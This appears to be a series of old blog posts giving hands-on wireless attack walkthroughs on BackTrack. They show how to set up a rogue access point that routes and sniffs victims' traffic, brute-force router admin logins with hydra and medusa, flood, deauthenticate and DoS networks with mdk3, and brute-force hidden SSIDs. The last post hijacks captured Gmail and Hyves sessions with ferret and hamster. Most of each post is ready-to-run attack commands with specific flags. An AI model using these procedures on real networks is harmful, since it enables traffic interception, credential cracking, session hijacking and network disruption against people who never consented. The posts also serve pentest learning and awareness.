Fake AP using airbase-ng

Here we will have a look at creating a fake AP and passing internet traffic through our fake ap.

I had a lot of trouble with this and only really was able to complete it with the help of Gitsnik & Nick The Greek on the Remote Exploit forums.. awesome help there guys ;)

The steps involved are basically ;

• Configure dhcpd.conf
• Start the fake ap with airbase-ng
  
• Configure IP tables to pass through to host internet
• Capture / Monitor network traffic with tool of choice
  

In this case my test setup is as follows ;

> Using back|track4 pre final
> Using WiFi dongle to create a connection to internet on wlan1 (through gateway 192.168.1.1)
> Using my netbook wireless card (Atheros) to create the fake ap

First to create/configure the dhcpd.conf file for later use ;

nano /etc/dhcp3/dhcpd.conf

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 4.2.2.2;
range 192.168.2.130 192.168.2.140;
}

Ctrl X --> y --> Enter  to save the file.

Then to start the fake ap with airbase, the interface needs to be in monitor mode ;

airmon-ng

airmon-ng start wlan0

airbase-ng -e "TEST_AP" -c 9 mon0
This will create a simple tap interface, on at0, with no encryption, on channel 9 and with the essid TEST_AP.

In this case I already had an internet connection up and running on wlan1, hence the warning messages, however this was of no further consequence.


Then bring the interface up and assign subnet and gateway;

ifconfig at0 up

ifconfig at0 192.168.2.129 netmask 255.255.255.128

route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129

Then start DHCP, I was getting errors on the dhcpd settings, this is where the help came in :)

Needed to give further privilages to the dhcpd.

mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd

Then to point the command to the alternative dhcpd.conf file and the alternative .pid file

dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0

Then to setup the iptables to route the traffic through the tap interface to the internet connection (internet connection being the one wlan1 is connected to over my 192.168.1.1 gateway).

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1

Now basically you have a fake ap which people can connect to and browse the internet.. all through your connection.

 

Obviously this can be abused in any number of ways, all traffic can be captured and analyzed;
dsniff could be run on it together with urlsnarf, driftnet etc., sessions could be hijacked in real time..

So goes to show that you should be wary of free access points..

Using Hydra or Medusa to gain access to network router

After obtaining a connection to the network and having an IP address, besides trying to acccess the hosts on the network, the actual router can also be targetted.

This could be done by would be attackers to for instance attempt to delete any logs on the router which may have logged their intrusion to the network.
Or to simply reboot the router which mostly has the same effect.

On Windows based systems, this could be done using either Bruter or Brutus.

Using trusty ol' back|track, the preference goes to either medusa or hydra.

For the sake of this test, a simple test setup as follows ;
> Open network
> DHCP enabled

Basically the steps involved are as follows ;

• Identify network
• Gain access to network 
• Obtain IP address
• Check gateway IP
• Check path the router setup page is using
• Start Hydra / Medusa using wordlists for both login and password if login is not known.
  

airmon-ng

airmon-ng start wlan0

airodump-ng mon0 -t opn

ifconfig wlan0 down

iwconfig wlan0 essid default channel 1

iwconfig ap 00:13:D4:09:32:60

ifconfig wlan0 up

Check connection

iwconfig wlan0

Obtain IP address and check gateway

dhclient wlan0

Open upthe default gateway in your browser

Of course, before starting cracking away, it is always worth while to check the standard login / passwords first !
http://www.phenoelit-us.org/dpl/dpl.html

If no luck, then you have to revert to using wordlists, I have made a couple of small ones to try this out.

Starting Hydra to crack the router login / password.
-L          specifiying the path to login list
-P          specifying the path to password list
-t           limiting the number of connections
-e ns      to check for no password and to check login as password
-f           to stop when first login/password is found
-V          to show each login/password attempt
http-get  to specify the protocol to use
/index.asp to point to the webpage it is heading to

hydra 192.168.1.1 -L /wordlists/login.txt -P /wordlists/ap_password.txt -t 1 -e ns -f -V http-get /index.asp

For Medusa, the syntax is slightly different and took me a while to figure out what was necessary to avoid getting false positives, however the below worked for me ;

-h     to specify the host
-U     to specify path to the login wordlist
-P     to specify path to password wordlist
-t      to limit the number of connections
-f      to stop the test on finding a valid login/password
-v     for a more verbose output
-M    to specify the module to use
-m    to specify the options for the module in use

medusa -h 192.168.1.1 -U /wordlists/login.txt -P /wordlists/ap_password.txt -t 1 -e ns -f -v 5 -M http -m DIR:GET/index.asp

Now when trying the found login / password, success !

Hydra homepage - http://www.thc.org

Medusa homepage - http://www.foofus.net

Video covering the above ;

http://blip.tv/file/2718495
or
http://www.youtube.com/watch?v=WTpjaYxbITw

MDK3 - network traffic disruption

Following up on the previous post with mdk3, there are a few other options with mdk3, however it has to be said that the use of these options can wreak havoc on wireless networks and should be used with caution !
And of course as with all the tools in the posts, only on the networks you are authorized to run the tools on.

I am still unsure as to what MDK3 stands for, however I remember playing a game ages ago called MDK and the abbreviation, although never confirmed, was taken to mean Murder Death Kill..
In that case it is fair to say that it sums up what mdk3 can do to wireless networks quite well..


My test network;
AP with bssid 00:13:D4:09:32:60 on Channel 1 with essid default
Wep Shared Key encryption
1 client 00:24:D2:A1:40:8E connected

 The below based on having installed mdk3 as per previous post.


For a full list of mdk3 options;
mdk3 --fullhelp

Beacon Flood mode

This mode sends out beacons showing fake APs and reportedly can cause network scanners and drivers to crash.

I did a quick test with this, scanning with inSSIDer, and it certainly does flood the environment with fake APs.
It didn't crash the programme, however I only let it run for a short period of time to get an idea of what happens, what prolonged usage would cause not confirmed.

The below sets the SSID to be transmitted as DEFAULT with WEP encryption as 54Mbit  using valid accesspoint MACs from OUI database, speed set at 50 pps (default speed)

mdk3 mon0 b -n DEFAULT -w -g -m -s 50

The scan with inSSIDer looked as follows ;

Not sure why the majority seemed to be on lower channels, however as mentioned, I did not want to run it for too long and possibly a longer run would see more networks showing up in the higher channel region.

Authentication DOS mode

The idea is that too many clients authenticating to the AP will freeze up or reset the AP.

Surprisingly, my crappy little 'ol Asus router seemed to be handling this rather well !
I tested it several times, it froze a couple of times for a few seconds, however then seemed to fight back and work even though the speed was severely affected..
What a trooper !

 mdk3 mon0 a -a 00:13:D4:09:32:60 -m

Deathentication / Disassociation Amok Mode

This is used to kick clients from an AP.

In this case I created a txt file with the AP MAC and used this as the blacklist.

echo 00:13:D4:09:32:60 > mdk3test.txt

mdk3 mon0 d -b mdk3test.txt -c 1 -s 250

This didn't actually kick my client off as an aireplay attack with sufficient packets would have done, but it effectively stopped all communication between the AP and the client.

There are a few other tools as well, including MAC address bruteforcing, and various other wireless disruption tools.

All in all a very interesting tool to check out, but obviously meant to be very unfriendly towards wireless networks..


Test with care..

Using MDK3 in back|track 4 to crack hidden SSIDs

Although mdk3 is not (yet) included in BT4, it is a great tool to have.
(! with the release of Backtrack 4 Final, mdk3 is back with mdk3v6! Found in /pentest/wireless/mdk3/)
The below installation guide only applicable to Backtrack 4 Pre Final.
To get it installed, Virchanza wrote up a means to do so here;
http://forums.remote-exploit.org/backtrack-4-package-feature-requests/23803-mdk3.html
The contents of interest being ;

wget http://virjacode.com/projects/beefup/dloads/mdk3.tar.bz2
tar xjf mdk3.tar.bz2
cd mdk3-v5
sed -i 's|-Wall|-w|g' ./Makefile
sed -i 's|-Wextra||g' ./Makefile
sed -i 's|-Wall||g' ./osdep/common.mak
sed -i 's|-Wextra||g' ./osdep/common.mak
sed -i 's|-Werror|-w|g' ./osdep/common.mak
sed -i 's|-W||g' ./osdep/common.mak
make
make install
cd ..
rm mdk3.tar.bz2
rm -r mdk3-v5

The reason I used it was to decloak hidden SSIDs by means of either a brute force or a dictionary attack, but there are many other interesting options with mdk3 !

In this test setup, I have an AP setup as follows ;

BSSID 00:13:D4:09:32:60  on  Channel 3  Hidden SSID of 3 characters only.

So checking the test setup in airodump shows ;

In order to try to crack the hidden SSID, we can try a bruteforce attack, however it is always best to first try a dictionary to see if it isnt a standard essid name.

To get a decent dictionary list, you can get the one which the Church of WiFi used for their tables.
http://www.renderlab.net/projects/WPA-tables/
And of course you can drive around a bit and collect a few more to add.

The general usage in this case for using mdk3 with wordlist is ;

mdk3 [iface] p -c [channel] -t [bssid] -f [path to wordlist] -s [packets/sec]

So in my case;

mdk3 mon0 p -c 3 -t 00:13:D4:09:32:60 -f  /wordlists/ssid.txt -s 50

(can do more packets per sec. but just for example's sake)

So when successful in finding the SSID and airodump is left running, the found SSID will pop up in airodump;

If the SSID cannot be found in the wordlist, then bruteforce approach can be tried, but only for short SSIDs.
It took my setup around 30min to crunch through all printable characters for the 3 character SSID..

The general usage of the bruteforce attack is as follows ;

mdk3 [iface] p -c [channel] -t [bssid] -b [character set] -s [packets/sec]

The brute force character set is as follows;

• a  all printable
• l   lower case
• u  upper case
• n  numbers
• c  lower and upper case
• m lower and upper case plus numbers
  

It is worth mentioning that the number of packets per second did make a difference for me when using the bruteforce option.
It failed to correctly identify the essid on my test network when no limit was set (then it does max 300pps), however it did work succesfully when limiting to 150 pps.

Mind you it is being tested on a pretty old ASUS WL-530g router.. so not surprising really..
What works for other routers is probably simply a matter of trial and error.

Also, airodump seemed to conk out after about a minute of running possible ssids to the router with the message;
"Caught signal 14 (SIGALRM). Please contact the author!"


Anyway..

Starting up the attack using brute force;

mdk3 mon0 p -c 3 -t 00:13:D4:09:32:60 -b a -s 150

Again the results may vary using different packets/sec.


The screen will also show SSIDs of other networks which are picked up during the attack, but will then happily continue until either the full scope of the attack is finished, or the SSID is found.



MDK3 also has, among others, the interesting capability to effectively render communicating with a wireless network impossible, however to keep the posts semi short and sweet will come back to that another day..

MDK3 homepage - http://homepages.tu-darmstadt.de


A video showing the above ;
http://blip.tv/file/2681248
or
http://www.youtube.com/watch?v=52d1FsfJ2Ek

Sidejacking using Ferret & Hamster

Sidejacking is a form of HTTP session hijacking, basically stealing cookies from sessions of users on a network, then using these cookies to re-enable the sessions.

Think for instance of online email accounts, social networking sites and the like.

In this case the sidejacking test is done as follows ;

• wpa protected network on channel 4
• monitor with airodump --> deauth client --> capture handshake --> continue collecting info
• airdecap the cap file
• run cap file through ferret and then check with hamster

First stop is to indentify the target network, note associated clients, start capturing and ensuring that the 4-way handshake is included in the capture by using a deauth attack so as being able to later correctly decrypt the packages.

airmon-ng

airmon-ng start wlan0

airodump-ng mon0 -c 4 --bssid 00:11:22:33:44:55 -a -w test

aireplay-ng mon0 -0 5 -a 00:11:22:33:44:55 -c 00:11:22:33:44:55

Now we have the handshake and we let the session capture packets.

On the target network, we browse around and visit various test accounts on popular sites, in this case I have checked out Gmail & Hyves.


We then stop the capture and decrypt the captured packets with airdecap.
(For this to work there must be a 4-way handshake in the capture file, the decryption will only start from the moment the handshake is captured)

airdecap-ng test-01.cap -e ESSID -p 'WPA_PASSWORD'

The packets will be decrypted and a file test-01-dec.cap will be created.

Now to pass the decrypted capture file through ferret.

cd /pentest/sniffers/hamster/

./ferret -r ~/test-01-dec.cap

When succesfully done running through ferret, hamster.txt will be created and hamster can be started to start the proxy. (best to be online at this stage)

./hamster

We then open up the browser and set the proxy configuration to be able to use Hamster.

Edit --> Preferences --> Advanced --> Network --> Settings

Configure the Manual proxy settings as follows;
HTTP Proxy: 127.0.0.1    Port: 1234

Then we open up Hamster in the browser.

http://hamster

On opening Hamster, you will see a list of IP addresses from which Hamster has been able to find cookies.
In this case just the one; 192.168.1.100

Click on the IP address of interest to clone the the target.

In the left pane you will then see the IP address being cloned and urls of interest.
The top urls are the ones deemed of most interest, the lower urls are are the urls seen from the targetted IP address.

You can then click on the urls of interest and you will be taken to the session in question (if still valid)

In the above you can see that you are logged in to google and also have full access to the gmail account and
also have full access to the Hyves account.

If the google account has the option "always use https" checked, then the above will not work with gmail/google.



But still goes to show you should never access your online email accounts etc over an insecure network.. !


Information on Hamster by the author;
http://hamster.erratasec.com/help/index.html

A video showing the above, slightly different as cracking WPA with cowpatty is included in video.

http://blip.tv/file/2676326
or
http://vimeo.com/7245265